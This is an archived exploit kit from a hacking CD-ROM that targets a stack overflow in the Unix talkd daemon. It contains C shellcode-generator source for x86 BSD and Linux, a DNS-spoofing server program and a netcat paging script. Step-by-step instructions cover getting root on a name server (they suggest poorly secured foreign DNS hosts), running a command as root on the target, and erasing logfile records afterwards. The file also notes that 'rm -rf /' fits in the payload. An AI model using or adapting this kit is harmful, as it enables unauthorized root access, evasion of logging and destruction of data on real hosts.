home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
talkd.txt
< prev
next >
Wrap
Text File
|
2001-11-06
|
16KB
|
409 lines
/*
README.talkd
1. get root on some name server machine.
2. start talkd (the exploit code generating program, not the talk daemon)
and save its output someplace. make sure you got all the system-dependent
parameters correctly. also that USERNAMELENGTH is equal to the length of the
user name you will be using with the talkpage script later. the command
supplied to talkd shouldn't be too long (usually can be up to 48 bytes).
3. kill the name server daemon, and start up dns_rev instead, giving as a
parameter an ip address that was under the authority of this name server in
the in-addr.arpa domain, and whose ip address is not cached on the target
host's nameserver (you can check if it is cached by looking it up with
recursion turned off; or you can pick a random address and hope its not
cached - if it is, try again with a different one. chances are that
addresses of non-existing machines won't be cached so its best to use an
address like that if there is one). feed the saved output as an input to
dns_rev.
4. start up talkd on the target host, by talk paging a non-existing user
there. this is to bypass tcp wrappers (theoretically, you don't have to
bypass them, but it's one thing less to worry about if you do). you have to
do this from a host that is not served by the dns your messing with, since
the wrappers will try to do dns lookups.
5. (quickly, while the started talkd is still alive) page a logged in user
that has messages enabled on the remote host, giving as a source ip address
the address that you are spoofing (that is just the address in the talk
protocol packet, you don't have to spoof ip packets source address - talkd
is stupid enough not to care about them). this can be done with the
'talkpage' script or something such. you can do this from any host. at this
point, dns_rev should say 'reverse query accepted', and the remote talkd
should have executed the command you supplied to talkd, that is, if you
guessed the buffer address correctly.
6. if you failed, check all the steps carefully again to find out what went
wrong; you can probably repeat the whole thing in some 120 seconds (which is
the time before talkd commits suicide, if no other requests arrive). if you
were successfull, kill dns_rev, re-start named, log in to remote host, and
erase any logfile records. you should know what to do from then on.
one note, though; in order to get the best results in the cleanest way
possible, you should first test the whole scenario on some playground
machines that have the same system as the target host.
lkd hole exploit. version 0.1.
usage: talkd system [[adrs] size] < command > output
reads command to execute on remote host from stdin. writes code to
stdout. you have to feed the output to some sort of script or something
(try & use netcat for remote exploitation). you may specify address of
the buffer on stack on the command line. you may also specify buffer
size, which is size of the buffer (last two lines, actually) + size of
local variables up to (but not including) the return address - length of
anything that will get prepended to the code before it is fed into talk
buffers (such as "talk: respond with: talk username@"). oh, and you have
to spoof the host name, of course. THIS ISN'T A NO-BRAINERS SKRIPT. you
want a no-brainers script, go use sendmail or something.
curently defined systems: bsd386, linux386 (somebody wanna write some sparc
asm code here?)
notes. in reality, some weird buffer copying and sizes overwriting is
going on in print_mesg() in talkd. that's why, for example, buffer has to
be filled with a non-negative nop code. if the order of variables in that
function is different (whether declared differently or re-arranged by the
compiler at its own free will), the simplistic approach used here might
no longer work. the hole might still be exploitable, though - the only
way to check is find out exactly what is going on in print_mesg() in your
talkd. other things to watch for: ESCAPESPACE inserts an instruction to
escape around the space-zero that is copied to the last line of talk
buffer, and ends up within the nops (the dots inside the nops fill-in are
assumed to be executed nops - which is the case on the i386, but might be
different on other architectures. if you can guess the exact code
address, you don't need to worry about escaping the dots or the
space-zero anyway - assuming the space falls somewhere into the nops, not
within the code itself. tty file, which is assumed to be the first or the
second parameter to print_mesg() is overwritten with a low address on the
stack, in order to shut up the talk message, so the user doesn't get to
see it. if this fails on your target, you will probably have to set up a
valid FILE structure on the stack, and know exactly where the structure
is, so you can supply its address (or try supplying a NULL, if that
works). failing that, the only choice left would be to let talkd display
the annoying message to the unsuspecting user, by leaving print_mesg()
parameters alone - and you would also have to put the command to be
executed inside the print_mesg() stack, which will limit its length
severly (always enough space for a "rm -rf /", though...).
by Flash Gordon / CiA (with some ideas "borrowed" from others). */
unsigned char *codes[] = /* asm k0d3$ to start up a process on each system */
{"\x41\xa9\xeb\x3d\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
"\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
"\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x3b\x89\x51"
"\xf0\x88\x51\xf5\x52\x51\x53\x50\xeb\x01\x90\x9a.---\x07\x31\xc0"
"\xb4\x02\x29\xc4\xe8\xb8\xff\xff\xff",
"\x41\xa9\xeb\x2e\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
"\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
"\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x05\x04\x06"
"\xcd\x80\xe8\xcd\xff\xff\xff"};
#define PREFIX "/bin/sh -c " /* don't change that, hardwired into code */
char *systems[] = {"bsd386", "linux386"};
#ifndef USERNAMELENGTH
#define USERNAMELENGTH 9 /* president */
#endif
/* linux size is normally 237, 213 when re-arranged and without stack frame. */
/* bsd 4.4 lite - increase bufsize by 272, escapespace by 136 */
int sizes[] = {217 - USERNAMELENGTH, 213 - USERNAMELENGTH};
int addrs[] = {0xEFBFDD6F, 0xBFFFFC6F}; /* DF2C, DD2C (?) on BSDI 1.1 (?) */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#ifndef NOESCAPE
#ifndef ESCAPESPACE
#define ESCAPESPACE 120 - 1 - 27 - USERNAMELENGTH
#endif
#endif
#ifndef MAXLBLSIZ
#define MAXLBLSIZ 63 /* protocol allows up to 63 but maybe can be up to 191 */
#endif
unsigned char *putint(nop, p, val) unsigned char nop, *p; unsigned val;
{
int i;
unsigned char buf[sizeof(int)];
for (i = 0; i < sizeof(int); ++i) {
buf[i] = val; val >>= 8;
}
if (nop != 0x41) /* assume big endian target */
for (i = sizeof(int) - 1; i >= 0; --i) *p++ = buf[i];
else /* assume little endian target */
for (i = 0; i < sizeof(int); ++i) *p++ = buf[i];
return p;
}
void main(argc, argv) int argc; char **argv;
{
unsigned char *p, *q, *r, *s;
unsigned i = 0, l, adrs, size;
if (argc > 1) {
i = sizeof(systems) / sizeof(*systems);
while (i && strcasecmp(argv[1], systems[i - 1])) --i;
}
if (!i--) {
fprintf(stderr, "what?\n");
return;
}
adrs = addrs[i]; size = sizes[i];
if (argc > 2) {
adrs = strtoul(argv[2], 0, 0);
if (argc > 3) size = strtoul(argv[3], 0, 0);
}
if (p = malloc(4096)) {
memset(q = p, *codes[i], 4096);
strcpy(r = ((p += size) - strlen(codes[i] + 2)), codes[i] + 2);
p = putint(*codes[i], putint(*codes[i], p, adrs), l = adrs - 2048);
p = putint(*codes[i], p, l); *p++ = '.'; *p++ = 'x'; *p++ = 'x'; *p++ = 'x';
strcpy(p, PREFIX); gets(p + strlen(p)); l = strlen(p);
if (l >= MAXLBLSIZ - 3 && (unsigned char *)strrchr(p, '.')) return;
do *p++ ^= 128; while (l--);
l = (unsigned char *)strchr(s = q, '.') - q;
while (l > MAXLBLSIZ) {
if ((s += MAXLBLSIZ) >= r) s = r - 1;
*s++ = '.'; l -= MAXLBLSIZ + 1;
}
#ifdef ESCAPESPACE
if (q + ESCAPESPACE >= r - 2) return;
q[ESCAPESPACE] = codes[i][1];
#endif
fwrite(q, 1, p - q, stdout);
}
}
/* replace dns to spoof reverse queries.
usage: echo -n <host-name> | dns_rev <ip-address>
ip-address is the address of host you wanna spoof. the program will wait
for a reverse query for this address to arrive, and will return whatever
it read from standard input (host-name). address queries for the spoofed
host-name will be answered with the ip-address supplied (to keep the tcp
wrappers happy). other queries that might arrive in the mean time will be
ignored. you hafta kill named before you do this sort of thing (and
eventually bring it back up later). currently works only with udp.
by Flash Gordon / CiA */
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define DNSPORT 53
#define REVDOM ".IN-ADDR.ARPA"
#ifndef MAXDOMSIZ
#define MAXDOMSIZ 384 /* using more than 256 bytes violates the protocol */
#endif
/*#define MYNAME "fully qualified domain name of name-server machine" */
/*#define MYADRS 0x7f000001 - ip address of name-server machine, in hex */
unsigned char *get_dom_name(p, l) unsigned char **p; int *l;
{
static unsigned char buf[BUFSIZ];
int i;
unsigned char *q = buf;
while (1) {
if (--*l < 0) return 0;
if (!(i = *(*p)++)) {
*q = 0; return buf;
}
if (*l < i) return 0;
*l -= i;
if (q != buf) *q++ = '.';
while (i--) *q++ = *(*p)++;
}
}
unsigned char *put_dom_name(p, q) unsigned char *p, *q;
{
unsigned char *t, dbuf[MAXDOMSIZ];
q = strcpy(dbuf, q);
while (1) {
if (t = strchr(q, '.')) *t = 0;
*p = strlen(q);
strcpy(p + 1, q);
p += *p + 1;
if (!t) return p + 1;
q = t + 1;
}
}
unsigned long rev_long(l) unsigned long l;
{
unsigned long i = 0;
int n = sizeof(i);
while (n--) {
i = (i << 8) | (l & 255); l >>= 8;
}
return i;
}
void main(argc, argv) int argc; char **argv;
{
unsigned long ip, rip, sip;
int i, s, l = 0;
unsigned char *p, *q;
struct sockaddr_in addr;
unsigned char buf[BUFSIZ], answer[MAXDOMSIZ], abuf[32];
#ifdef MYNAME
unsigned char hostname[] = MYNAME;
#else
unsigned char hostname[32];
if (gethostname(hostname, sizeof(hostname))) return;
#endif
if (argc != 2 || (rip = rev_long(sip = ip = inet_addr(argv[1]))) == -1)
return;
#ifdef MYADRS
sip = htonl(MYADRS);
#endif
while ((i = getchar()) != EOF) {
if (l == sizeof(answer) - 1) return;
answer[l++] = i;
}
answer[l++] = 0;
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1) return;
addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(DNSPORT);
if (bind(s, (struct sockaddr *)&addr, sizeof(addr))) return;
printf("waiting...\n");
while (1) {
l = sizeof(addr);
l = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr, &l);
if (l == -1) return;
p = buf + 12; l -= 12; i = 0;
if (!(buf[2] >> 3) && !buf[4] && buf[5] == 1 && (q = get_dom_name(&p, &l))
&& l >= 4 && !*p++ && (++p, !*p++) && *p++ == 1) {
i = strlen(q);
if (p[-3] != 12 || (i -= sizeof(REVDOM) - 1) <= 0
|| strcasecmp(q + i, REVDOM) || (q[i] = 0, inet_addr(q) != rip))
i = -(p[-3] == 1 && !strcasecmp(q, answer));
}
printf("%s query from: %s\n", i == 0 ? "rejecting" : i > 0 ?
"answering reverse" : "answering forward", inet_ntoa(addr.sin_addr));
if (i) {
buf[2] |= 0x84; buf[3] = 0x80;
buf[6] = buf[8] = buf[10] = 0; buf[7] = buf[9] = buf[11] = 1;
*p++ = 0xc0; *p++ = 12; *p++ = 0; *p++ = i > 0 ? 12 : 1;
*p++ = 0; *p++ = 1; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
if (i > 0) {
*p++ = (i = strlen(answer) + 2) >> 8; *p++ = i;
q = put_dom_name(p, answer);
strcat(p = strcpy(abuf, inet_ntoa(*(struct in_addr *)&rip)), REVDOM);
} else {
*p++ = 0; *p++ = sizeof(ip); memcpy(p, &ip, sizeof(ip));
q = p + sizeof(ip); p = hostname;
}
/* authority record; assume domain authority for forward queries,
class C net authority for reverse queries. who cares anyway. */
if (p = strchr(p, '.')) ++p; else p = "";
q = put_dom_name(q, p);
*q++ = 0; *q++ = 2; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0;
*q++ = 0; *q++ = strlen(hostname) + 2; q = put_dom_name(p = q, hostname);
/* additional record - not really that essential, too. */
*q++ = ((i = p - buf) >> 8) | 0xc0; *q++ = i;
*q++ = 0; *q++ = 1; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0;
*q++ = 0; *q++ = sizeof(sip); memcpy(q, &sip, sizeof(sip));
q += sizeof(sip);
if (sendto(s, buf, i = q - buf, 0, (struct sockaddr *)&addr,
sizeof(addr)) == i) printf("sending %d bytes...\n", i);
else perror("sendto");
}
}
}
t
#
# usage: talkpage <user@host> <sourcehost>
#
# note: this version has no dns support. USE NUMERIC IP ADDRESSES OR DIE.
#
PUSSY=nc
LAMER=president
PHOST=$1
FHOST=`echo $2 | awk -F . '{ if (NF == 4) for (i = 1; i <= 4; i++) \
printf "\\\%o", $i }'`
PUSER=`echo $PHOST | awk -F @ '{ printf "%s", $1 }'`
PNAME=`echo $PHOST | awk -F @ '{ printf "%s", $2 }'`
PHOST=`echo $PNAME | awk -F . '{ if (NF == 4) for (i = 1; i <= 4; i++) \
printf "\\\%o", $i }'`
if test "$PHOST" = "\0\0\0\0"; then PHOST=; fi
if test -n "$FHOST"; then
if test -n "$PUSER" -a -n "$PHOST"; then
PUSER=`echo $LAMER $PUSER | awk '{ for (j = 1; j <= NF; j++) {
printf "%s", substr($j,1,11); \
for (i = length($j); i < 11; i++) printf "\\\0"; printf "\\\0"; }}'`
echo -ne "\1\3\0\0\0\0\0\1\0\2\2\232$PHOST\0\0\0\0\0\0\0\0\0\2\2\232\
$FHOST\0\0\0\0\0\0\0\0\0\0\0\1$PUSER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
| $PUSSY -u -w 1 $PNAME 518
fi
fi
==========================================================================
okay, the material here is an exploit for a stack overflow bug in talkd that has been
known for about a year (and still not patched on most hosts).
requirements:
- root on a machine that serves as a primary dns for some host
anywhere on the net (root on all secondary servers might also be
necessary in certain cases). hint: look for dns machines somewhere
in the third world. they aren't very difficult to hack, to say
the least.
- at least one user with "messages on" must be logged on to the host
you want to attack, and you must know her or his login name. they
won't get paged, though, if the attack is successful.
- current code works only for bsd (freebsd, netbsd, bsdi, etc.) and
linux, and only for intel x86, BUT it is adaptable to any other system
or architecture with a little programming in assembler (if somebody
does that, please let me know. if i'm not reachable by e-mail here
please post with a subject 'talkd' to some security group or mailing
list that gets archived. if you care).
result:
- root on the host you're attacking, if you are successful.
- no traces at all, except possibly something like "talkd:
connection refused" in the logfile, which is in principle also
avoidable.